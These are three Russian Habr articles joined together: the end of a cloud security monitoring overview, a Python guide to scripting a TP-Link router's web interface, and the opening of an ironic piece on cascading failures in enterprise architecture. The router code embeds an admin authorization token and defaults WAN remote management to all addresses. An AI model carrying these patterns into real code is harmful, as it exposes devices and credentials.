* Cloud HSM — защита криптографических ключей.
* Cloud Key Management Service — управление криптографическими ключами в GCP.
* VPC Service Control — создание защищенного периметра вокруг ваших ресурсов GCP для защиты их от утечек.
* Titan Security Key — защита от фишинга.
Многие из этих модулей генерят события безопасности, которые могут быть отправлены в хранилище BigQuery для анализа или экспорта в другие системы, включая и SIEM. Как уже писалось выше, GCP — активно развиваемая платформа и сейчас Google разрабатывает ряд новых модулей по ИБ для своей платформы. Среди них Event Threat Detection (сейчас доступен в бете), которые сканирует логи Stackdriver в поисках следов несанкционированной активности (аналог GuardDuty в AWS), или Policy Intelligence (доступен в альфе), который позволит разрабатывать интеллектуальные политики доступа к ресурсам GCP.
Я сделал небольшой обзор встроенных возможностей по мониторингу в популярных облачных платформах. Но есть ли у вас специалисты, которые способны работать с “сырыми” логами IaaS- провайдера (не все готовы покупать расширенные возможности AWS или Azure или Google)? Кроме того, многим известна пословица “доверяй, но проверяй”, которая в области безопасности верна как никогда. Насколько вы доверяете встроенным возможностям облачного провайдера, которые отдают вам события ИБ? Насколько они вообще фокусируются на ИБ?
Иногда стоит посмотреть в сторону наложенных решений по мониторингу облачных инфраструктур, которые могут дополнить встроенную безопасность облака, а иногда такие решения — единственный вариант получить данные по безопасности ваших данных и приложений, размещенных в облаке. Кроме того, они просто удобнее, так как берут на себя все задачи по анализу нужных логов, генерируемых разными облачными сервисами разных облачных провайдеров. В качестве примера такого наложенного решения можно привести Cisco Stealthwatch Cloud, который сфокусирован на единственной задаче — мониторинг аномалий ИБ в облачных средах, среди которых не только Amazon AWS, Microsoft Azure и Google Cloud Platform, но и частные облака.
Пример: Мониторинг ИБ с помощью Stealthwatch Cloud
--------------------------------------------------
AWS предоставляет гибкую платформу для вычислений, но эта гибкость приводит к тому, что компаниями легче совершать ошибки, приводящие к проблемам безопасности. И разделяемая модель ИБ только способствует этому. Запуск в облаке ПО с неизвестными уязвимостями (с известными может бороться, например, AWS Inspector или GCP Cloud Scanner), слабые пароли, некорректные конфигурации, инсайдеры и т.п. И все это отражается на поведении облачных ресурсов, за которыми может наблюдать Cisco Stealthwatch Cloud, являющийся системой мониторинга ИБ и обнаружения атак в. публичных и частных облаках.
Одной из ключевых особенностей Cisco Stealthwatch Cloud является возможность моделирования сущностей. С его помощью можно создать программную модель (то есть имитацию практически в реальном времени) каждого из ваших облачных ресурсов (неважно, будет ли это AWS, Azure, GCP или что-то иное). К ним могут относиться сервера и пользователи, а также типы ресурсов, специфичные для вашей облачной среды, такие как группы безопасности и группы автоматического масштабирования сервисов (auto-scale). Эти модели используют в качестве входных данных структурированные потоки данных, предоставляемые облачными сервисами. Например, для AWS это будут VPC Flow Logs, AWS CloudTrail, AWS CloudWatch, AWS Config, AWS Inspector, AWS Lambda и AWS IAM. Моделирование сущностей автоматически обнаруживает роль и поведение любого из ваших ресурсов (можно говорить о профилировании всей облачной активности). Среди таких ролей — мобильное устройство Android или Apple, сервер Citrix PVS, RDP-сервер, почтовый шлюз, клиент VoIP, терминальный сервер, контроллер домена и т.п. Затем он непрерывно отслеживает их поведение, чтобы определить, когда происходит рискованное или угрожающее безопасности поведение. Вы можете идентифицировать подбор пароля, DDoS-атаки, утечки данных, нелегальный удаленный доступ, действие вредоносного кода, сканирование уязвимостей и другие угрозы. Например, вот как выглядит обнаружение попытки удаленного доступа из нетипичной для вашей организации страны (Южная Корея) к кластеру Kubernetes по SSH:
А вот так выглядит предполагаемая утечка информации из базы данных Postgress в страну, взаимодействие с которой ранее не встречалось:
Наконец, вот так выглядит слишком большое число неудачных попыток доступа по SSH из Китая и Индонезии с внешнего удаленного устройства:
Или, предположим, что экземпляр сервера в VPC, согласно политике, никогда не должен быть точкой назначения для удаленного входа в систему. Предположим далее, что на этом компьютере произошел удаленный вход в систему из-за ошибочного изменения политики правил межсетевого экрана. Функция моделирования сущностей будет обнаруживать и сообщать об этой активности («Необычный удаленный доступ») в почти реальном времени и указывать на конкретный вызов API AWS CloudTrail, Azure Monitor или GCP Stackdriver Logging (включая имя пользователя, дату и время, среди прочих деталей), которые вызвали изменение в правило МСЭ. А затем эта информация может быть отдана в SIEM для анализа.
Аналогичные возможности реализуются для любой облачной среды, поддерживаемой Cisco Stealthwatch Cloud:
Моделирование сущностей — это уникальная форма автоматизации безопасности, которая может обнаружить ранее неизвестную проблему с вашими людьми, процессами или технологиями. Например, она позволяет обнаруживать среди прочего такие проблемы безопасности, как:
* Кто-то обнаружил бэкдор в ПО, которое мы используем?
* Есть ли какое-либо стороннее ПО или устройство в нашем облаке?
* Злоупотребляет ли авторизованный пользователь привилегиями?
* Была ли допущена ошибка конфигурации, обеспечивающая удаленный доступ или другое непреднамеренное использование ресурсов?
* Нет ли утечки данных с наших серверов?
* Не пытался ли кто-то подключиться к нам из нетипичного географического места?
* Не заражено ли наше облако вредоносным кодом?
Обнаруженное событие ИБ может быть передано в виде соответствующего тикета в Slack, Cisco Spark, систему управления инцидентами PagerDuty, а также отдано в различные SIEM, среди которых Splunk или ELK. Резюмируя, можно сказать, что если ваша компания использует мультиоблачную стратегию и не ограничивается каким-то одним облачным провайдером, возможности по мониторингу ИБ, которых описывались выше, то применение Cisco Stealthwatch Cloud является неплохим вариантом получить унифицированный набор возможностей по мониторингу ведущих облачных игроков — Amazon, Microsoft и Google. Самое интересное, что если сравнивать цены на Stealthwatch Cloud с продвинутыми лицензиями на мониторинг ИБ в AWS, Azure или GCP, то может оказаться так, что решение Cisco окажется даже дешевле встроенных возможностей решений Amazon, Microsoft и Google. Парадоксально, но это так. И чем больше облаков и их возможностей вы используете, тем очевиднее будет преимущество консолидированного решения.
Кроме того, Stealthwatch Cloud может мониторить и частные облака, развернутые у вас в организации, например, на базе контейнеров Kubernetes или путем мониторинга потоков Netflow или сетевого трафика, получаемого через зеркалирование в сетевом оборудовании (даже отечественного производства), данных AD или DNS-серверов и т.п. Все эти данные будут обогащаться информацией Threat Intelligence, собираемой подразделением Cisco Talos, являющемся крупнейшей в мире неправительственной группой исследователей угроз ИБ.
Это позволяет вам реализовать единую систему мониторинга как публичных, так и гибридных облаков, которые может использовать ваша компания. Собранная информация затем может быть проанализирована с помощью встроенных возможностей Stealthwatch Cloud или отправлена в ваш SIEM (по умолчанию поддерживаются Splunk, ELK, SumoLogic и ряд других).
На этом мы завершим первую часть статьи, в которой я рассмотрел встроенные и внешние инструменты по мониторингу ИБ IaaS/PaaS-платформ, которые позволяют нам оперативно обнаруживать и реагировать на инциденты, происходящие в облачных средах, которые выбрало наше предприятие. Во второй части мы продолжим тему и рассмотрим варианты мониторинга SaaS-платформ на примере Salesforce и Dropbox, а также попробуем подытожить и собрать все вместе, создав единую систему мониторинга ИБ разных облачных провайдеров. | https://habr.com/ru/post/466103/ | null | ru | null |
# Как программно управлять WiFi маршрутизатором TP-Link с помощью Python requests
Однажды передо мной встала задача реализации программного управления одним из распространенных домашних Wi-Fi маршрутизаторов TP-Link TL-WR841N, у которого, к сожалению, нет интерфейса управления через командную строку (telnet, SSH). Я хотел, чтобы мой Telegram бот, реализованный на Python на базе SBC в локальной домашней сети, на основе моих команд выполнял следующие функции управления маршрутизатором:
* Перезагрузка маршрутизатора
* Открытие/закрытие NAT Port Forwarding к внутренним WEB-сервисам
* Открытие/закрытие удаленного доступа к маршрутизатору из WAN (интернет)
* Определение устройств, зарегистрированных в локальной WiFi сети маршрутизатора
Конечно, все это пользователь может выполнять и сам вручную с помощью WEB-интерфейса, но, во-первых, мне хотелось автоматизировать эти функции, во-вторых, иногда это нужно делать удаленно, а я не хотел постоянно держать открытым доступ к управлению маршрутизатором по незашифрованному HTTP через интернет по соображениям безопасности. Управление с помощью «закрытого» Telegram бота мне показалось более надежным.
Для доступа к управлению маршрутизатором я использовал единственный доступный интерфейс — пользовательский WEB-интерфейс, взаимодействие с которым реализовал с помощью HTTP запросов Python requests. Для того, чтобы определить, какие HTTP GET запросы необходимо направлять на маршрутизатор, я использовал всем известный сниффер трафика Wireshark. Проще говоря, я с помощью Python requests воспроизвел те запросы, которые увидел в Wireshark, в необходимой последовательности.
#### Импорт, авторизация и исходные параметры
Итак, прежде всего импортируем в Python библиотеку requests, на базе которой мы будем реализовывать HTTP запросы.
```
import requests
```
В качестве исходных параметров укажем внутренний IP адрес маршрутизатора в виде строки HTTP запроса. В моем случае это 192.168.0.1.
```
router_ip='http://192.168.0.1'
```
Для авторизации нам понадобится токен, вычисление которого осуществляется на основе логина и пароля пользователя. Функция вычисления токена задана в JS скрипте на маршрутизаторе [192.168.0.1/login/encrypt.js](http://192.168.0.1/login/encrypt.js). Выглядит он вот так.
**encrypt.js**
```
function hex_md5(s)
{
return binl2hex(core_md5(str2binl(s), s.length * 8));
}
function core_md5(x, len)
{
/* append padding */
x[len >> 5] |= 0x80 << ((len) % 32);
x[(((len + 64) >>> 9) << 4) + 14] = len;
var a = 1732584193;
var b = -271733879;
var c = -1732584194;
var d = 271733878;
for(var i = 0; i < x.length; i += 16)
{
var olda = a;
var oldb = b;
var oldc = c;
var oldd = d;
a = md5_ff(a, b, c, d, x[i+ 0], 7 , -680876936);
d = md5_ff(d, a, b, c, x[i+ 1], 12, -389564586);
c = md5_ff(c, d, a, b, x[i+ 2], 17, 606105819);
b = md5_ff(b, c, d, a, x[i+ 3], 22, -1044525330);
a = md5_ff(a, b, c, d, x[i+ 4], 7 , -176418897);
d = md5_ff(d, a, b, c, x[i+ 5], 12, 1200080426);
c = md5_ff(c, d, a, b, x[i+ 6], 17, -1473231341);
b = md5_ff(b, c, d, a, x[i+ 7], 22, -45705983);
a = md5_ff(a, b, c, d, x[i+ 8], 7 , 1770035416);
d = md5_ff(d, a, b, c, x[i+ 9], 12, -1958414417);
c = md5_ff(c, d, a, b, x[i+10], 17, -42063);
b = md5_ff(b, c, d, a, x[i+11], 22, -1990404162);
a = md5_ff(a, b, c, d, x[i+12], 7 , 1804603682);
d = md5_ff(d, a, b, c, x[i+13], 12, -40341101);
c = md5_ff(c, d, a, b, x[i+14], 17, -1502002290);
b = md5_ff(b, c, d, a, x[i+15], 22, 1236535329);
a = md5_gg(a, b, c, d, x[i+ 1], 5 , -165796510);
d = md5_gg(d, a, b, c, x[i+ 6], 9 , -1069501632);
c = md5_gg(c, d, a, b, x[i+11], 14, 643717713);
b = md5_gg(b, c, d, a, x[i+ 0], 20, -373897302);
a = md5_gg(a, b, c, d, x[i+ 5], 5 , -701558691);
d = md5_gg(d, a, b, c, x[i+10], 9 , 38016083);
c = md5_gg(c, d, a, b, x[i+15], 14, -660478335);
b = md5_gg(b, c, d, a, x[i+ 4], 20, -405537848);
a = md5_gg(a, b, c, d, x[i+ 9], 5 , 568446438);
d = md5_gg(d, a, b, c, x[i+14], 9 , -1019803690);
c = md5_gg(c, d, a, b, x[i+ 3], 14, -187363961);
b = md5_gg(b, c, d, a, x[i+ 8], 20, 1163531501);
a = md5_gg(a, b, c, d, x[i+13], 5 , -1444681467);
d = md5_gg(d, a, b, c, x[i+ 2], 9 , -51403784);
c = md5_gg(c, d, a, b, x[i+ 7], 14, 1735328473);
b = md5_gg(b, c, d, a, x[i+12], 20, -1926607734);
a = md5_hh(a, b, c, d, x[i+ 5], 4 , -378558);
d = md5_hh(d, a, b, c, x[i+ 8], 11, -2022574463);
c = md5_hh(c, d, a, b, x[i+11], 16, 1839030562);
b = md5_hh(b, c, d, a, x[i+14], 23, -35309556);
a = md5_hh(a, b, c, d, x[i+ 1], 4 , -1530992060);
d = md5_hh(d, a, b, c, x[i+ 4], 11, 1272893353);
c = md5_hh(c, d, a, b, x[i+ 7], 16, -155497632);
b = md5_hh(b, c, d, a, x[i+10], 23, -1094730640);
a = md5_hh(a, b, c, d, x[i+13], 4 , 681279174);
d = md5_hh(d, a, b, c, x[i+ 0], 11, -358537222);
c = md5_hh(c, d, a, b, x[i+ 3], 16, -722521979);
b = md5_hh(b, c, d, a, x[i+ 6], 23, 76029189);
a = md5_hh(a, b, c, d, x[i+ 9], 4 , -640364487);
d = md5_hh(d, a, b, c, x[i+12], 11, -421815835);
c = md5_hh(c, d, a, b, x[i+15], 16, 530742520);
b = md5_hh(b, c, d, a, x[i+ 2], 23, -995338651);
a = md5_ii(a, b, c, d, x[i+ 0], 6 , -198630844);
d = md5_ii(d, a, b, c, x[i+ 7], 10, 1126891415);
c = md5_ii(c, d, a, b, x[i+14], 15, -1416354905);
b = md5_ii(b, c, d, a, x[i+ 5], 21, -57434055);
a = md5_ii(a, b, c, d, x[i+12], 6 , 1700485571);
d = md5_ii(d, a, b, c, x[i+ 3], 10, -1894986606);
c = md5_ii(c, d, a, b, x[i+10], 15, -1051523);
b = md5_ii(b, c, d, a, x[i+ 1], 21, -2054922799);
a = md5_ii(a, b, c, d, x[i+ 8], 6 , 1873313359);
d = md5_ii(d, a, b, c, x[i+15], 10, -30611744);
c = md5_ii(c, d, a, b, x[i+ 6], 15, -1560198380);
b = md5_ii(b, c, d, a, x[i+13], 21, 1309151649);
a = md5_ii(a, b, c, d, x[i+ 4], 6 , -145523070);
d = md5_ii(d, a, b, c, x[i+11], 10, -1120210379);
c = md5_ii(c, d, a, b, x[i+ 2], 15, 718787259);
b = md5_ii(b, c, d, a, x[i+ 9], 21, -343485551);
a = safe_add(a, olda);
b = safe_add(b, oldb);
c = safe_add(c, oldc);
d = safe_add(d, oldd);
}
return Array(a, b, c, d);
}
function md5_cmn(q, a, b, x, s, t)
{
return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s),b);
}
function md5_ff(a, b, c, d, x, s, t)
{
return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t);
}
function md5_gg(a, b, c, d, x, s, t)
{
return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t);
}
function md5_hh(a, b, c, d, x, s, t)
{
return md5_cmn(b ^ c ^ d, a, b, x, s, t);
}
function md5_ii(a, b, c, d, x, s, t)
{
return md5_cmn(c ^ (b | (~d)), a, b, x, s, t);
}
/*
* Add integers, wrapping at 2^32. This uses 16-bit operations internally
* to work around bugs in some JS interpreters.
*/
function safe_add(x, y)
{
var lsw = (x & 0xFFFF) + (y & 0xFFFF);
var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
return (msw << 16) | (lsw & 0xFFFF);
}
function bit_rol(num, cnt)
{
return (num << cnt) | (num >>> (32 - cnt));
}
function str2binl(str)
{
var bin = Array();
var mask = (1 << 8) - 1;
for(var i = 0; i < str.length * 8; i += 8)
bin[i>>5] |= (str.charCodeAt(i / 8) & mask) << (i%32);
return bin;
}
function binl2hex(binarray)
{
var hex_tab = "0123456789abcdef";
var str = "";
for(var i = 0; i < binarray.length * 4; i++)
{
str += hex_tab.charAt((binarray[i>>2] >> ((i%4)*8+4)) & 0xF) +
hex_tab.charAt((binarray[i>>2] >> ((i%4)*8 )) & 0xF);
}
return str;
}
function Base64Encoding(input)
{
var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
var output = "";
var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
var i = 0;
//input = utf8_encode(input);
while (i < input.length)
{
chr1 = input.charCodeAt(i++);
chr2 = input.charCodeAt(i++);
chr3 = input.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output +
keyStr.charAt(enc1) + keyStr.charAt(enc2) +
keyStr.charAt(enc3) + keyStr.charAt(enc4);
}
return output;
}
function utf8_encode (string)
{
string = string.replace(/\r\n/g,"\n");
var utftext = "";
for (var n = 0; n < string.length; n++) {
var c = string.charCodeAt(n);
if (c < 128) {
utftext += String.fromCharCode(c);
}
else if((c > 127) && (c < 2048)) {
utftext += String.fromCharCode((c >> 6) | 192);
utftext += String.fromCharCode((c & 63) | 128);
}
else {
utftext += String.fromCharCode((c >> 12) | 224);
utftext += String.fromCharCode(((c >> 6) & 63) | 128);
utftext += String.fromCharCode((c & 63) | 128);
}
}
return utftext;
}
```
Но, признаюсь, я не стал портировать эту функцию из JS в Python. Я упростил подход и посмотрел значение параметра, которое отправляет мой браузер в Wireshark.
Выделенный запрос — это запрос авторизации, который мы воспроизведем чуть позже. Таким образом, я скопировал параметр Cookie pair в запросе авторизации
```
auth_token='Authorization=Basic%20YWRtaW46YjAxYzZmYzYyMDgwMzA5Y2ZiMzc2ZTE4NzI3YzMwNzk%3D'
```
Пожалуй, это не самый изящный, но простой подход. Кроме того, мы не будем хранить логин и пароль от маршрутизатора в текстовом открытом виде, что, на мой взгляд, не так плохо.
Перейдем к функции авторизации.
```
def login():
r = requests.get(router_ip+'/userRpm/LoginRpm.htm?Save=Save',headers={'Referer':router_ip+'/','Cookie': auth_token})
if r.status_code==200:
x=1
while x<3:
try:
session_id=r.text[r.text.index(router_ip)+len(router_ip)+1:r.text.index('userRpm')-1]
return session_id
break
except ValueError:
return 'Login error'
x+=1
else:
return 'IP unreachable'
```
Цикл while я использовал, так как маршрутизатор не всегда авторизовывал моего бота с первого раза. Возможно, у вас получится обойтись без него.
В случае успешной авторизации функция возвращает значение session\_id. Это идентификатор сессии, который генерирует маршрутизатор при авторизации. После прохождения авторизации session\_id должен присутствовать во всех последующих HTTP запросах к маршрутизатору.
Далее реализуем функцию выхода logout.
```
def logout(session_id):
r = requests.get(router_ip+'/'+session_id+'/userRpm/LogoutRpm.htm',headers={'Referer':router_ip+'/'+session_id+'/userRpm/MenuRpm.htm','Cookie': auth_token})
if r.status_code==200:
return 'Loging out: '+str(r.status_code)
else:
return 'Unable to logout''
```
Я делаю logout после каждой операции, так как маршрутизатор позволяет одновременно подключаться только одному пользователю. Поэтому, если ваш бот авторизуется и не выйдет из маршрутизатора, то вы не сможете на него зайти до тех пор, пока маршрутизатор не закроет открытую сессию по таймауту через несколько минут. Таким образом, я решил строго придерживаться последовательности «login -> операция -> logout».
Кстати, стоит учесть, что, если кто-то уже авторизован на маршрутизаторе, то бот, очевидно, не сможет авторизоваться до тех пор, пока пользователь не сделает logout, или активная сессия не закроется по таймауту. Одним словом, «кто первый встал, того и тапки.» Стоит отметить, что Python бот выполняет операции управления маршрутизатором за доли секунд. Таким образом, ваш маршрутизатор не будет занят ботом в течении продолжительного времени.
#### Перезагрузка, NAP Port Forwarding
Перейдем к операциям, которые мы можем выполнять после успешной авторизации.
```
#Перезагрузка
r = requests.get(router_ip+'/'+session+'/userRpm/SysRebootRpm.htm?Reboot=%D0%9F%D0%B5%D1%80%D0%B5%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%B8%D1%82%D1%8C',headers={'Referer':router_ip+'/'+session+'/userRpm/SysRebootRpm.htm','Cookie': auth_token})
#Открыть Port Forwarding
r = requests.get(router_ip+'/'+session+'/userRpm/VirtualServerRpm.htm?doAll=EnAll&Page=1',headers={'Referer':router_ip+'/'+session+'/userRpm/VirtualServerRpm.htm','Cookie': auth_token})
#Закрыть Port Forwarding
r = requests.get(router_ip+'/'+session+'/userRpm/VirtualServerRpm.htm?doAll=DisAll&Page=1',headers={'Referer':router_ip+'/'+session+'/userRpm/VirtualServerRpm.htm','Cookie': auth_token})
```
Здесь я бы хотел подчеркнуть, что указанные запросы активируют/деактивируют все правила Port Forwarding, созданные ранее в соответствующем разделе управления маршрутизатором.
Проще говоря, запросы аналогичны нажатию кнопок «Включить все» и «Отключить все». По аналогии можно реализовать и создание/активацию отдельных правил.
#### Удаленный доступ к маршрутизатору из WAN (интернет)
```
#Задание IP адреса удаленного управления
r = requests.get(router_ip+'/'+session+'/userRpm/ManageControlRpm.htm?port=5110&ip='+remote_ip+'&Save=%D0%A1%D0%BE%D1%85%D1%80%D0%B0%D0%BD%D0%B8%D1%82%D1%8C',headers={'Referer':router_ip+'/'+session+'/userRpm/SysRebootRpm.htm','Cookie': auth_token})
```
Здесь параметр remote\_ip задает IP-адрес удаленного управления, т.е. тот IP адрес, с которого разрешено удаленно заходить на маршрутизатор через интернет.
```
remote_ip=’255.255.255.255’ #открыто для всех.
remote_ip=’0.0.0.0’ #закрыто для всех.
```
При желании можно указывать конкретный IP адрес, с которого вы хотите удаленно подключиться к маршрутизатору.
#### Определение списка подключенных устройств
```
#Определение подключенных устройств
r = requests.get(router_ip+'/'+session+'/userRpm/WlanStationRpm.htm',headers={'Referer':router_ip+'/'+session+'/userRpm/MenuRpm.htm','Cookie': auth_token})
presence='Дома находятся:'
if 'DC-31-54-97-51-06' in r.text:
presence=presence+'\n'+'DC-31-54-97-51-06'
```
Для чего нужен функционал определения устройств, зарегистрированных в домашней сети WiFi. Допустим, у меня есть смартфон с WiFi и MAC адресом DC-31-54-97-51-06. Когда я прихожу домой, мой смартфон регистрируется в домашней сети WiFi. Таким нехитрым способом я могу отслеживать свое присутствие (а точнее, присутствие своего смартфона) в домашней сети (т.е. дома). Этот функционал позволяет автоматизировать ряд функций, связанных с определением моего присутствия. Например, когда я прихожу домой, отключается детектор движения камеры наблюдения и т.д. Ранее я использовал определение присутствия устройств в сети с помощью Ping'а их IP адресов, но в итоге разочаровался в данном методе, так как смартфоны, как оказалось, неохотно и не всегда отвечают на Ping. Дополнительно я использую сниффер ARP пакетов, реализованный на Python, который позволяет отследить момент регистрации устройства с определенным MAC адресом в сети WiFi.
Итак, r.text в коде выше возвращает среди прочего список MAC адресов устройств, зарегистрированных в WiFi сети маршрутизатора. Что вы будете делать с этим списком, зависит только от вашей фантазии.
```
var hostList = new Array(
"94-36-44-8F-2F-ED", 5, 23487, 10618, 2,
"60-46-37-C0-43-FC", 5, 27088, 10126, 2,
"EF-71-44-63-51-E1", 5, 600, 364, 2,
"77-25-9D-99-ED-33", 5, 1547, 1722, 2,
0,0 );
```
Итак, мне остается только подытожить. Весь код выглядит следующим образом.
**router.py**
```
import requests
router_ip='http://192.168.0.1'
auth_token='Authorization=Basic%20YWRtaW46YjAxYzZmYzYyMDgwMzA5Y2ZiMzc2ZTE4NzI3YzMwNzk%3D'
def logout(session_id):
r = requests.get(router_ip+'/'+session_id+'/userRpm/LogoutRpm.htm',headers={'Referer':router_ip+'/'+session_id+'/userRpm/MenuRpm.htm','Cookie': auth_token})
if r.status_code==200:
return 'Loging out: '+str(r.status_code)
else:
return 'Unnable to logout'
def login():
r = requests.get(router_ip+'/userRpm/LoginRpm.htm?Save=Save',headers={'Referer':router_ip+'/','Cookie': auth_token})
if r.status_code==200:
x=1
while x<3:
try:
session_id=r.text[r.text.index(router_ip)+len(router_ip)+1:r.text.index('userRpm')-1]
return session_id
break
except ValueError:
return 'Login error'
x+=1
else:
return 'IP unreachable'
def routercontrol(operation,remote_ip='255.255.255.255'):
#Авторизация
if login()=='IP unreachable' or login()=='Login error':
return login()
exit(0)
else:
session=login()
print ('Login OK: '+session)
if operation=='Enable ports':
#Открыть Port Forwarding
r = requests.get(router_ip+'/'+session+'/userRpm/VirtualServerRpm.htm?doAll=EnAll&Page=1',headers={'Referer':router_ip+'/'+session+'/userRpm/VirtualServerRpm.htm','Cookie': auth_token})
status=str(r.status_code)
print (logout(session))
return 'Enable all ports: '+status+' http://31.207.73.10:8082'
elif operation=='Disable ports':
#Закрыть Port Forwarding
r = requests.get(router_ip+'/'+session+'/userRpm/VirtualServerRpm.htm?doAll=DisAll&Page=1',headers={'Referer':router_ip+'/'+session+'/userRpm/VirtualServerRpm.htm','Cookie': auth_token})
status=str(r.status_code)
print (logout(session))
return 'Disable all ports: '+status
elif operation=='Reboot':
#Перезагрузка
r = requests.get(router_ip+'/'+session+'/userRpm/SysRebootRpm.htm?Reboot=%D0%9F%D0%B5%D1%80%D0%B5%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%B8%D1%82%D1%8C',headers={'Referer':router_ip+'/'+session+'/userRpm/SysRebootRpm.htm','Cookie': auth_token})
status=str(r.status_code)
print (logout(session))
return 'Reboot: '+status
elif operation=='Remote IP':
#Задание IP адреса удаленного управления
r = requests.get(router_ip+'/'+session+'/userRpm/ManageControlRpm.htm?port=5110&ip='+remote_ip+'&Save=%D0%A1%D0%BE%D1%85%D1%80%D0%B0%D0%BD%D0%B8%D1%82%D1%8C',headers={'Referer':router_ip+'/'+session+'/userRpm/SysRebootRpm.htm','Cookie': auth_token})
status=str(r.status_code)
print (logout(session))
return 'Remote IP '+remote_ip+': '+status
elif operation=='Check presence':
#Определение подключенных устройств
r = requests.get(router_ip+'/'+session+'/userRpm/WlanStationRpm.htm',headers={'Referer':router_ip+'/'+session+'/userRpm/MenuRpm.htm','Cookie': auth_token})
status=str(r.status_code)
print (logout(session))
presence='Дома находятся:'
if 'DC-31-54-97-51-06' in r.text:
presence=presence+'\n'+'DC-31-54-97-51-06'
return presence
else:
return 'Wrong command'
```
Очевидно, аналогичным образом можно автоматизировать и другие функции управления устройствами, лишенными командной строки, с помощью доступа к WEB-интерфейсу. Например, я подобным образом с помощью HTTP Post реализовал reboot IP камеры DLink. Спасибо за внимание! | https://habr.com/ru/post/342194/ | null | ru | null |
# Энтерпрайз-домино. 0x13 вредных советов для ниндзя-разработчика
Практически любая enterprise-система (под которой мы будем подразумевать некоторое ПО, где пользователи работают постоянно в течение всего рабочего дня) в современном мире стремится вырасти вместе с управляемым ей бизнесом в высоконагруженное web-решение вроде нашего [СБИС](https://sbis.ru/all_services).
Оно и понятно: доступность с любого устройства, где есть браузер, минимальные вложения "на старте" - все, что бизнес так любит. Но с развитием системы растет не только ее размер, но и **сложность архитектуры решения**, а с ней - и цена любой ошибки, вызывающей сразу **каскад возможных проблем** и "эффект домино".
Когда, где и как их может вызвать затаившийся до поры ниндзя-разработчик?
Выращиваем архитектуру
----------------------
Начинаем выращивать наше решение с [классической трехзвенки](https://ru.wikipedia.org/wiki/%D0%A2%D1%80%D1%91%D1%85%D1%83%D1%80%D0%BE%D0%B2%D0%BD%D0%B5%D0%B2%D0%B0%D1%8F_%D0%B0%D1%80%D1%85%D0%B8%D1%82%D0%B5%D0%BA%D1%82%D1%83%D1%80%D0%B0):
* **клиент**, он же браузер
* **сервер**, он же бизнес-логика, он же БЛ
* **база**, она же... база и есть база
В самом простом начальном варианте **логика работы и отображения никак не разделены**, существуют в едином кодовом пространстве (видимо, ниндзя уже приложил руку) в, не в обиду самому языку, классическом PHP-стиле:
Разделим логику представления и логику работы. Это может быть как логическое выделение шаблонов отображения в коде, так и физический вынос таких статичных данных на независимый от БЛ ресурс:
#### Проблема: блокировка бизнес-логики
Теперь наш ниндзя готов нанести первый удар: написать настолько медленный код, чтобы **вся бизнес-логика оказалась заблокированной** целиком - например, содержащий бесконечный цикл или постоянное потребление памяти. Даже если такой запрос блокирует всего лишь один процесс на БЛ, то нетерпеливый пользователь, не дождавшись ответа, "дернет" его снова и снова, пока не заблокируется все:
Посмотрите, как красиво "покраснели" все участки, где сбой "сыграл" - ни один клиент ничего не получает, ниндзя доволен, диверсия удалась!
Но мы добавим перед БЛ некоторый **диспетчер** (например, на базе [nginx](https://nginx.org/ru/)), который умеет "отстреливать" конкретный узел, если он перестал отзываться, а самих **узлов сделаем несколько**:
#### Проблема: монолитная база
Хитрый ниндзя заметил, что чем по более глубокому слою он нанесет удар, тем больше эффект. В текущей нашей схеме таким удобным местом является база данных. Опередим его, **разделив данные** по некоторым прикладным критериям - например, оперативные текущие данные и статистические отчеты:
Фактически, в этот момент мы получили уже сервисную архитектуру. Насколько она будет "микро" еще вопрос, но сервисы уже получают некоторую прикладную "цветовую дифференциацию штанов".
#### Проблема: жесткая взаимозависимость сервисов
Смотрим на схему выше - и видим, что в случае проблем на сервисе Y, сервис X тоже начнет страдать, хотя в большинстве случаев мог бы этого не делать. Например, если после оформления заказа нам надо отправить его клиенту на email, синхронный вызов здесь вовсе не нужен.
Поэтому мы можем разорвать некоторые цепочки вызовов и "размазать" пиковую нагрузку во времени, превратив их в асинхронные с помощью межсервисной шины:
#### Проблема: DDoS на базу
Если в качестве базы данных для своего решения вы использовали PostgreSQL (больше возможностей, чем MySQL, почти такой же enterprise, как Oracle, надежно, да еще и бесплатно!), то рано или поздно начинаете понимать, что работать в web-системах **с большим количеством коротко живущих подключений** ему некомфортно. Ведь каждый коннект к PG - это отдельный процесс на сервере СУБД, выделяющий себе при старте не менее 8MB памяти.
Чтобы нивелировать эти негативные эффекты, умные люди придумали пулеры соединений - например, [pgbouncer](https://www.pgbouncer.org/) или [Одиссей](https://yandex.ru/dev/odyssey/). На вход они принимают множество подключений, а на выходе кроссируют их в небольшое количество постоянно активных соединений с PostgreSQL.
В результате, наша архитектура превращается во что-то такое:
Тут мы дополнительно научили межсервисную шину общаться с клиентом для донесения оперативных событий с серверсайда, а логику представления также загнали "под диспетчер".
Ниндзя вступает в бой
---------------------
Итак, с точки зрения взаимодействия с пользователем, у нас есть следующая цепочка:
* браузер
* диспетчер
* бизнес-логика
* межсервисная шина
* пулер соединений
* база данных
Чем более "низкое" звено в этой цепочке удастся "вальнуть", тем больше пользователей пострадает. Но начнем с самого верха...
"Роняем" браузер
----------------
Чтобы заставить Chrome затупить, существует (минимум!) три простых метода:
1. Заставить его выкачивать **много трафика**.
2. Скормить ему **"жирный" JS-файл**. Поскольку трансляция JS пока идет в том же единственном потоке, что и его исполнение, то "пусть весь мир подождет".
3. Заставить его сгенерировать **тучу HTTP-запросов**. Даже если они у вас все закэшированы, то где-то в районе 700-го запроса Chrome "ломается" и начинает отдавать файлы с дискового кэша по несколько секунд.
> ***TODO #01:*** *Используйте минификацию.*
>
> ***TODO #02:*** *Оптимизируйте количество кода.*
>
> ***TODO #03:*** *Применяйте пакетирование. И следите, чтобы оно реально использовалось.*
>
>
"Роняем" диспетчер
